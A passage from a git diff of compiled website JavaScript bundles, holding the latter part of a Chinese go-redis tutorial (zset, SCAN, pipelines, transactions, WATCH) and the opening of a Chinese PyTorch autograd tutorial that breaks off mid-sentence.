getValueFromRedis(key, defaultValue string) (string, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\tval, err := rdb.Get(ctx, key).Result()\n\tif err != nil {\n\t\t// \u5982\u679c\u8fd4\u56de\u7684\u9519\u8bef\u662fkey\u4e0d\u5b58\u5728\n\t\tif errors.Is(err, redis.Nil) {\n\t\t\treturn defaultValue, nil\n\t\t}\n\t\t// \u51fa\u5176\u4ed6\u9519\u4e86\n\t\treturn "", err\n\t}\n\treturn val, nil\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u5176\u4ed6\u793a\u4f8b",children:"\u5176\u4ed6\u793a\u4f8b"}),"\n",(0,i.jsx)(n.h3,{id:"zset\u793a\u4f8b",children:"zset\u793a\u4f8b"}),"\n",(0,i.jsx)(n.p,{children:"\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u6f14\u793a\u4e86\u5982\u4f55\u4f7f\u7528 go-redis \u5e93\u64cd\u4f5c zset\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// zsetDemo \u64cd\u4f5czset\u793a\u4f8b\nfunc zsetDemo() {\n\t// key\n\tzsetKey := "language_rank"\n\t// value\n\tlanguages := []*redis.Z{\n\t\t{Score: 90.0, Member: "Golang"},\n\t\t{Score: 98.0, Member: "Java"},\n\t\t{Score: 95.0, Member: "Python"},\n\t\t{Score: 97.0, Member: "JavaScript"},\n\t\t{Score: 99.0, Member: "C/C++"},\n\t}\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\t// ZADD\n\terr := rdb.ZAdd(ctx, zsetKey, languages...).Err()\n\tif err != nil {\n\t\tfmt.Printf("zadd failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println("zadd success")\n\n\t// \u628aGolang\u7684\u5206\u6570\u52a010\n\tnewScore, err := rdb.ZIncrBy(ctx, zsetKey, 10.0, "Golang").Result()\n\tif err != nil {\n\t\tfmt.Printf("zincrby failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("Golang\'s score is %f now.\\n", newScore)\n\n\t// \u53d6\u5206\u6570\u6700\u9ad8\u76843\u4e2a\n\tret := rdb.ZRevRangeWithScores(ctx, zsetKey, 0, 2).Val()\n\tfor _, z := range ret {\n\t\tfmt.Println(z.Member, z.Score)\n\t}\n\n\t// \u53d695~100\u5206\u7684\n\top := &redis.ZRangeBy{\n\t\tMin: "95",\n\t\tMax: "100",\n\t}\n\tret, err = rdb.ZRangeByScoreWithScores(ctx, zsetKey, op).Result()\n\tif err != nil {\n\t\tfmt.Printf("zrangebyscore failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfor _, z := range ret {\n\t\tfmt.Println(z.Member, z.Score)\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u6267\u884c\u4e0a\u9762\u7684\u51fd\u6570\u5c06\u5f97\u5230\u5982\u4e0b\u8f93\u51fa\u7ed3\u679c\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"zadd success\nGolang's score is 100.000000 now.\nGolang 100\nC/C++ 99\nJava 98\nPython 95\nJavaScript 97\nJava 98\nC/C++ 99\nGolang 100\n"})}),"\n",(0,i.jsx)(n.h3,{id:"\u626b\u63cf\u6216\u904d\u5386\u6240\u6709key",children:"\u626b\u63cf\u6216\u904d\u5386\u6240\u6709key"}),"\n",(0,i.jsxs)(n.p,{children:["\u4f60\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(n.code,{children:"KEYS prefix:*"})," \u547d\u4ee4\u6309\u524d\u7f00\u83b7\u53d6\u6240\u6709 key\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'vals, err := rdb.Keys(ctx, "prefix*").Result()\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4f46\u662f\u5982\u679c\u9700\u8981\u626b\u63cf\u6570\u767e\u4e07\u7684 key \uff0c\u90a3\u901f\u5ea6\u5c31\u4f1a\u6bd4\u8f83\u6162\u3002\u8fd9\u79cd\u573a\u666f\u4e0b\u4f60\u53ef\u4ee5\u4f7f\u7528Scan \u547d\u4ee4\u6765\u904d\u5386\u6240\u6709\u7b26\u5408\u8981\u6c42\u7684 key\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// scanKeysDemo1 \u6309\u524d\u7f00\u67e5\u627e\u6240\u6709key\u793a\u4f8b\nfunc scanKeysDemo1() {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\tvar cursor uint64\n\tfor {\n\t\tvar keys []string\n\t\tvar err error\n\t\t// \u6309\u524d\u7f00\u626b\u63cfkey\n\t\tkeys, cursor, err = rdb.Scan(ctx, cursor, "prefix:*", 0).Result()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tfor _, key := range keys {\n\t\t\tfmt.Println("key", key)\n\t\t}\n\n\t\tif cursor == 0 { // no more keys\n\t\t\tbreak\n\t\t}\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"Go-redis \u5141\u8bb8\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7b80\u5316\u4e3a\u5982\u4e0b\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// scanKeysDemo2 \u6309\u524d\u7f00\u626b\u63cfkey\u793a\u4f8b\nfunc scanKeysDemo2() {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\t// \u6309\u524d\u7f00\u626b\u63cfkey\n\titer := rdb.Scan(ctx, 0, "prefix:*", 0).Iterator()\n\tfor iter.Next(ctx) {\n\t\tfmt.Println("keys", iter.Val())\n\t}\n\tif err := iter.Err(); err != nil {\n\t\tpanic(err)\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4f8b\u5982\uff0c\u6211\u4eec\u53ef\u4ee5\u5199\u51fa\u4e00\u4e2a\u5c06\u6240\u6709\u5339\u914d\u6307\u5b9a\u6a21\u5f0f\u7684 key \u5220\u9664\u7684\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"// delKeysByMatch \u6309match\u683c\u5f0f\u626b\u63cf\u6240\u6709key\u5e76\u5220\u9664\nfunc delKeysByMatch(match string, timeout time.Duration) {\n\tctx, cancel := context.WithTimeout(context.Background(), timeout)\n\tdefer cancel()\n\n\titer := rdb.Scan(ctx, 0, match, 0).Iterator()\n\tfor iter.Next(ctx) {\n\t\terr := rdb.Del(ctx, iter.Val()).Err()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\tif err := iter.Err(); err != nil {\n\t\tpanic(err)\n\t}\n}\n"})}),"\n",(0,i.jsx)(n.p,{children:"\u6b64\u5916\uff0c\u5bf9\u4e8e Redis \u4e2d\u7684 set\u3001hash\u3001zset \u6570\u636e\u7c7b\u578b\uff0cgo-redis \u4e5f\u652f\u6301\u7c7b\u4f3c\u7684\u904d\u5386\u65b9\u6cd5\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'iter := rdb.SScan(ctx, "set-key", 0, "prefix:*", 0).Iterator()\niter := rdb.HScan(ctx, "hash-key", 0, "prefix:*", 0).Iterator()\niter := rdb.ZScan(ctx, "sorted-hash-key", 0, "prefix:*", 0).Iterator(\n'})}),"\n",(0,i.jsx)(n.h2,{id:"pipeline",children:"Pipeline"}),"\n",(0,i.jsx)(n.p,{children:"Redis Pipeline \u5141\u8bb8\u901a\u8fc7\u4f7f\u7528\u5355\u4e2a client-server-client \u5f80\u8fd4\u6267\u884c\u591a\u4e2a\u547d\u4ee4\u6765\u63d0\u9ad8\u6027\u80fd\u3002\u533a\u522b\u4e8e\u4e00\u4e2a\u63a5\u4e00\u4e2a\u5730\u6267\u884c100\u4e2a\u547d\u4ee4\uff0c\u4f60\u53ef\u4ee5\u5c06\u8fd9\u4e9b\u547d\u4ee4\u653e\u5165 pipeline \u4e2d\uff0c\u7136\u540e\u4f7f\u75281\u6b21\u8bfb\u5199\u64cd\u4f5c\u50cf\u6267\u884c\u5355\u4e2a\u547d\u4ee4\u4e00\u6837\u6267\u884c\u5b83\u4eec\u3002\u8fd9\u6837\u505a\u7684\u597d\u5904\u662f\u8282\u7701\u4e86\u6267\u884c\u547d\u4ee4\u7684\u7f51\u7edc\u5f80\u8fd4\u65f6\u95f4\uff08RTT\uff09\u3002"}),"\n",(0,i.jsx)(n.p,{children:"y\u5728\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u6f14\u793a\u4e86\u4f7f\u7528 pipeline \u901a\u8fc7\u4e00\u4e2a write + read \u64cd\u4f5c\u6765\u6267\u884c\u591a\u4e2a\u547d\u4ee4\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'pipe := rdb.Pipeline()\n\nincr := pipe.Incr(ctx, "pipeline_counter")\npipe.Expire(ctx, "pipeline_counter", time.Hour)\n\ncmds, err := pipe.Exec(ctx)\nif err != nil {\n\tpanic(err)\n}\n\n// \u5728\u6267\u884cpipe.Exec\u4e4b\u540e\u624d\u80fd\u83b7\u53d6\u5230\u7ed3\u679c\nfmt.Println(incr.Val())\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4e0a\u9762\u7684\u4ee3\u7801\u76f8\u5f53\u4e8e\u5c06\u4ee5\u4e0b\u4e24\u4e2a\u547d\u4ee4\u4e00\u6b21\u53d1\u7ed9 Redis Server \u7aef\u6267\u884c\uff0c\u4e0e\u4e0d\u4f7f\u7528 Pipeline \u76f8\u6bd4\u80fd\u51cf\u5c11\u4e00\u6b21RTT\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"INCR pipeline_counter\nEXPIRE pipeline_counts 3600\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u6216\u8005\uff0c\u4f60\u4e5f\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(n.code,{children:"Pipelined"})," \u65b9\u6cd5\uff0c\u5b83\u4f1a\u5728\u51fd\u6570\u9000\u51fa\u65f6\u8c03\u7528 Exec\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'var incr *redis.IntCmd\n\ncmds, err := rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {\n\tincr = pipe.Incr(ctx, "pipelined_counter")\n\tpipe.Expire(ctx, "pipelined_counter", time.Hour)\n\treturn nil\n})\nif err != nil {\n\tpanic(err)\n}\n\n// \u5728pipeline\u6267\u884c\u540e\u83b7\u53d6\u5230\u7ed3\u679c\nfmt.Println(incr.Val())\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u904d\u5386 pipeline \u547d\u4ee4\u7684\u8fd4\u56de\u503c\u4f9d\u6b21\u83b7\u53d6\u6bcf\u4e2a\u547d\u4ee4\u7684\u7ed3\u679c\u3002\u4e0b\u65b9\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u4f7f\u7528pipiline\u4e00\u6b21\u6267\u884c\u4e86100\u4e2a Get \u547d\u4ee4\uff0c\u5728pipeline \u6267\u884c\u540e\u904d\u5386\u53d6\u51fa100\u4e2a\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'cmds, err := rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {\n\tfor i := 0; i < 100; i++ {\n\t\tpipe.Get(ctx, fmt.Sprintf("key%d", i))\n\t}\n\treturn nil\n})\nif err != nil {\n\tpanic(err)\n}\n\nfor _, cmd := range cmds {\n fmt.Println(cmd.(*redis.StringCmd).Val())\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u5728\u90a3\u4e9b\u6211\u4eec\u9700\u8981\u4e00\u6b21\u6027\u6267\u884c\u591a\u4e2a\u547d\u4ee4\u7684\u573a\u666f\u4e0b\uff0c\u5c31\u53ef\u4ee5\u8003\u8651\u4f7f\u7528 pipeline \u6765\u4f18\u5316\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"\u4e8b\u52a1",children:"\u4e8b\u52a1"}),"\n",(0,i.jsxs)(n.p,{children:["Redis \u662f\u5355\u7ebf\u7a0b\u6267\u884c\u547d\u4ee4\u7684\uff0c\u56e0\u6b64\u5355\u4e2a\u547d\u4ee4\u59cb\u7ec8\u662f\u539f\u5b50\u7684\uff0c\u4f46\u662f\u6765\u81ea\u4e0d\u540c\u5ba2\u6237\u7aef\u7684\u4e24\u4e2a\u7ed9\u5b9a\u547d\u4ee4\u53ef\u4ee5\u4f9d\u6b21\u6267\u884c\uff0c\u4f8b\u5982\u5728\u5b83\u4eec\u4e4b\u95f4\u4ea4\u66ff\u6267\u884c\u3002\u4f46\u662f\uff0c",(0,i.jsx)(n.code,{children:"Multi/exec"}),"\u80fd\u591f\u786e\u4fdd\u5728",(0,i.jsx)(n.code,{children:"multi/exec"}),"\u4e24\u4e2a\u8bed\u53e5\u4e4b\u95f4\u7684\u547d\u4ee4\u4e4b\u95f4\u6ca1\u6709\u5176\u4ed6\u5ba2\u6237\u7aef\u6b63\u5728\u6267\u884c\u547d\u4ee4\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u8fd9\u79cd\u573a\u666f\u6211\u4eec\u9700\u8981\u4f7f\u7528 TxPipeline \u6216 TxPipelined \u65b9\u6cd5\u5c06 pipeline \u547d\u4ee4\u4f7f\u7528 ",(0,i.jsx)(n.code,{children:"MULTI"})," \u548c",(0,i.jsx)(n.code,{children:"EXEC"}),"\u5305\u88f9\u8d77\u6765\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// TxPipeline demo\npipe := rdb.TxPipeline()\nincr := pipe.Incr(ctx, "tx_pipeline_counter")\npipe.Expire(ctx, "tx_pipeline_counter", time.Hour)\n_, err := pipe.Exec(ctx)\nfmt.Println(incr.Val(), err)\n\n// TxPipelined demo\nvar incr2 *redis.IntCmd\n_, err = rdb.TxPipelined(ctx, func(pipe redis.Pipeliner) error {\n\tincr2 = pipe.Incr(ctx, "tx_pipeline_counter")\n\tpipe.Expire(ctx, "tx_pipeline_counter", time.Hour)\n\treturn nil\n})\nfmt.Println(incr2.Val(), err)\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u4e0a\u9762\u4ee3\u7801\u76f8\u5f53\u4e8e\u5728\u4e00\u4e2aRTT\u4e0b\u6267\u884c\u4e86\u4e0b\u9762\u7684redis\u547d\u4ee4\uff1a"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"MULTI\nINCR pipeline_counter\nEXPIRE pipeline_counts 3600\nEXEC\n"})}),"\n",(0,i.jsx)(n.h3,{id:"watch",children:"Watch"}),"\n",(0,i.jsxs)(n.p,{children:["\u6211\u4eec\u901a\u5e38\u642d\u914d ",(0,i.jsx)(n.code,{children:"WATCH"}),"\u547d\u4ee4\u6765\u6267\u884c\u4e8b\u52a1\u64cd\u4f5c\u3002\u4ece\u4f7f\u7528",(0,i.jsx)(n.code,{children:"WATCH"}),"\u547d\u4ee4\u76d1\u89c6\u67d0\u4e2a key \u5f00\u59cb\uff0c\u76f4\u5230\u6267\u884c",(0,i.jsx)(n.code,{children:"EXEC"}),"\u547d\u4ee4\u7684\u8fd9\u6bb5\u65f6\u95f4\u91cc\uff0c\u5982\u679c\u6709\u5176\u4ed6\u7528\u6237\u62a2\u5148\u5bf9\u88ab\u76d1\u89c6\u7684 key \u8fdb\u884c\u4e86\u66ff\u6362\u3001\u66f4\u65b0\u3001\u5220\u9664\u7b49\u64cd\u4f5c\uff0c\u90a3\u4e48\u5f53\u7528\u6237\u5c1d\u8bd5\u6267\u884c",(0,i.jsx)(n.code,{children:"EXEC"}),"\u7684\u65f6\u5019\uff0c\u4e8b\u52a1\u5c06\u5931\u8d25\u5e76\u8fd4\u56de\u4e00\u4e2a\u9519\u8bef\uff0c\u7528\u6237\u53ef\u4ee5\u6839\u636e\u8fd9\u4e2a\u9519\u8bef\u9009\u62e9\u91cd\u8bd5\u4e8b\u52a1\u6216\u8005\u653e\u5f03\u4e8b\u52a1\u3002"]}),"\n",(0,i.jsx)(n.p,{children:"Watch\u65b9\u6cd5\u63a5\u6536\u4e00\u4e2a\u51fd\u6570\u548c\u4e00\u4e2a\u6216\u591a\u4e2akey\u4f5c\u4e3a\u53c2\u6570\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"Watch(fn func(*Tx) error, keys ...string) error\n"})}),"\n",(0,i.jsx)(n.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u7247\u6bb5\u6f14\u793a\u4e86 Watch \u65b9\u6cd5\u642d\u914d TxPipelined \u7684\u4f7f\u7528\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"// watchDemo \u5728key\u503c\u4e0d\u53d8\u7684\u60c5\u51b5\u4e0b\u5c06\u5176\u503c+1\nfunc watchDemo(ctx context.Context, key string) error {\n\treturn rdb.Watch(ctx, func(tx *redis.Tx) error {\n\t\tn, err := tx.Get(ctx, key).Int()\n\t\tif err != nil && err != redis.Nil {\n\t\t\treturn err\n\t\t}\n\t\t// \u5047\u8bbe\u64cd\u4f5c\u8017\u65f65\u79d2\n\t\t// 5\u79d2\u5185\u6211\u4eec\u901a\u8fc7\u5176\u4ed6\u7684\u5ba2\u6237\u7aef\u4fee\u6539key\uff0c\u5f53\u524d\u4e8b\u52a1\u5c31\u4f1a\u5931\u8d25\n\t\ttime.Sleep(5 * time.Second)\n\t\t_, err = tx.TxPipelined(ctx, func(pipe redis.Pipeliner) error {\n\t\t\tpipe.Set(ctx, key, n+1, time.Hour)\n\t\t\treturn nil\n\t\t})\n\t\treturn err\n\t}, key)\n}\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5c06\u4e0a\u9762\u7684\u51fd\u6570\u6267\u884c\u5e76\u6253\u5370\u5176\u8fd4\u56de\u503c\uff0c\u5982\u679c\u6211\u4eec\u5728\u7a0b\u5e8f\u8fd0\u884c\u540e\u76845\u79d2\u5185\u4fee\u6539\u4e86\u88ab watch \u7684 key \u7684\u503c\uff0c\u90a3\u4e48\u8be5\u4e8b\u52a1\u64cd\u4f5c\u5931\u8d25\uff0c\u8fd4\u56de",(0,i.jsx)(n.code,{children:"redis: transaction failed"}),"\u9519\u8bef\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u6700\u540e\u6211\u4eec\u6765\u770b\u4e00\u4e2a go-redis \u5b98\u65b9\u6587\u6863\u4e2d\u4f7f\u7528 ",(0,i.jsx)(n.code,{children:"GET"})," \u3001",(0,i.jsx)(n.code,{children:"SET"}),"\u548c",(0,i.jsx)(n.code,{children:"WATCH"}),"\u547d\u4ee4\u5b9e\u73b0\u4e00\u4e2a INCR \u547d\u4ee4\u7684\u5b8c\u6574\u793a\u4f8b\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'const routineCount = 100\n\nincrement := func(key string) error {\n\ttxf := func(tx *redis.Tx) error {\n\t\t// \u83b7\u5f97\u5f53\u524d\u503c\u6216\u96f6\u503c\n\t\tn, err := tx.Get(key).Int()\n\t\tif err != nil && err != redis.Nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// \u5b9e\u9645\u64cd\u4f5c\uff08\u4e50\u89c2\u9501\u5b9a\u4e2d\u7684\u672c\u5730\u64cd\u4f5c\uff09\n\t\tn++\n\n\t\t// \u4ec5\u5728\u76d1\u89c6\u7684Key\u4fdd\u6301\u4e0d\u53d8\u7684\u60c5\u51b5\u4e0b\u8fd0\u884c\n\t\t_, err = tx.Pipelined(func(pipe redis.Pipeliner) error {\n\t\t\t// pipe \u5904\u7406\u9519\u8bef\u60c5\u51b5\n\t\t\tpipe.Set(key, n, 0)\n\t\t\treturn nil\n\t\t})\n\t\treturn err\n\t}\n\n\tfor retries := routineCount; retries > 0; retries-- {\n\t\terr := rdb.Watch(txf, key)\n\t\tif err != redis.TxFailedErr {\n\t\t\treturn err\n\t\t}\n\t\t// \u4e50\u89c2\u9501\u4e22\u5931\n\t}\n\treturn errors.New("increment reached maximum number of retries")\n}\n\nvar wg sync.WaitGroup\nwg.Add(routineCount)\nfor i := 0; i < routineCount; i++ {\n\tgo func() {\n\t\tdefer wg.Done()\n\n\t\tif err := increment("counter3"); err != nil {\n\t\t\tfmt.Println("increment error:", err)\n\t\t}\n\t}()\n}\nwg.Wait()\n\nn, err := rdb.Get("counter3").Int()\nfmt.Println("ended with", n, err)\n'})}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u8fd9\u4e2a\u793a\u4f8b\u4e2d\u4f7f\u7528\u4e86 ",(0,i.jsx)(n.code,{children:"redis.TxFailedErr"})," \u6765\u68c0\u67e5\u4e8b\u52a1\u662f\u5426\u5931\u8d25\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u66f4\u591a\u8be6\u60c5\u8bf7\u67e5\u9605",(0,i.jsx)(n.a,{href:"https://pkg.go.dev/github.com/go-redis/redis",children:"\u6587\u6863"}),"\u3002"]})]})}function x(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/d2815156.e8e1388e.js b/assets/js/d2815156.e8e1388e.js new file mode 100644 index 0000000..09fea8d --- /dev/null +++ b/assets/js/d2815156.e8e1388e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5155],{24060:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>l,contentTitle:()=>t,default:()=>h,frontMatter:()=>s,metadata:()=>a,toc:()=>i});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","title":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2.1 \u5f20\u91cf.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf"},"next":{"title":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb"}}');var d=r(74848),c=r(28453);const s={},t="2.2 \u81ea\u52a8\u6c42\u5bfc.md",l={},i=[{value:"Autograd\u7b80\u4ecb",id:"autograd\u7b80\u4ecb",level:2},{value:"2.2.1 \u68af\u5ea6",id:"221-\u68af\u5ea6",level:2}];function o(n){const e={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(e.header,{children:(0,d.jsx)(e.h1,{id:"22-\u81ea\u52a8\u6c42\u5bfcmd",children:"2.2 \u81ea\u52a8\u6c42\u5bfc.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,d.jsx)(e.h1,{id:"22-\u81ea\u52a8\u6c42\u5bfc",children:"2.2 \u81ea\u52a8\u6c42\u5bfc"}),"\n",(0,d.jsxs)(e.p,{children:["PyTorch \u4e2d\uff0c\u6240\u6709\u795e\u7ecf\u7f51\u7edc\u7684\u6838\u5fc3\u662f ",(0,d.jsx)(e.code,{children:"autograd "}),"\u5305\u3002autograd\u5305\u4e3a\u5f20\u91cf\u4e0a\u7684\u6240\u6709\u64cd\u4f5c\u63d0\u4f9b\u4e86\u81ea\u52a8\u6c42\u5bfc\u673a\u5236\u3002\u5b83\u662f\u4e00\u4e2a\u5728\u8fd0\u884c\u65f6\u5b9a\u4e49 ( define-by-run \uff09\u7684\u6846\u67b6\uff0c\u8fd9\u610f\u5473\u7740\u53cd\u5411\u4f20\u64ad\u662f\u6839\u636e\u4ee3\u7801\u5982\u4f55\u8fd0\u884c\u6765\u51b3\u5b9a\u7684\uff0c\u5e76\u4e14\u6bcf\u6b21\u8fed\u4ee3\u53ef\u4ee5\u662f\u4e0d\u540c\u7684\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:"autograd\u7684\u6c42\u5bfc\u673a\u5236"}),"\n",(0,d.jsx)(e.li,{children:"\u68af\u5ea6\u7684\u53cd\u5411\u4f20\u64ad"}),"\n"]}),"\n",(0,d.jsx)(e.h2,{id:"autograd\u7b80\u4ecb",children:"Autograd\u7b80\u4ecb"}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"torch.Tensor "}),"\u662f\u8fd9\u4e2a\u5305\u7684\u6838\u5fc3\u7c7b\u3002\u5982\u679c\u8bbe\u7f6e\u5b83\u7684\u5c5e\u6027",(0,d.jsx)(e.code,{children:" .requires_grad"})," \u4e3a ",(0,d.jsx)(e.code,{children:"True"}),"\uff0c\u90a3\u4e48\u5b83\u5c06\u4f1a\u8ffd\u8e2a\u5bf9\u4e8e\u8be5\u5f20\u91cf\u7684\u6240\u6709\u64cd\u4f5c\u3002\u5f53\u5b8c\u6210\u8ba1\u7b97\u540e\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528",(0,d.jsx)(e.code,{children:" .backward()"}),"\uff0c\u6765\u81ea\u52a8\u8ba1\u7b97\u6240\u6709\u7684\u68af\u5ea6\u3002\u8fd9\u4e2a\u5f20\u91cf\u7684\u6240\u6709\u68af\u5ea6\u5c06\u4f1a\u81ea\u52a8\u7d2f\u52a0\u5230",(0,d.jsx)(e.code,{children:".grad"}),"\u5c5e\u6027\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u6ce8\u610f\uff1a\u5728 y.backward() \u65f6\uff0c\u5982\u679c y \u662f\u6807\uf97e\uff0c\u5219\u4e0d\u9700\u8981\u4e3a backward() \u4f20\u5165\u4efb\u4f55\u53c2\u6570\uff1b\u5426\u5219\uff0c\u9700\u8981\u4f20\u5165\u4e00\u4e2a\u4e0e y 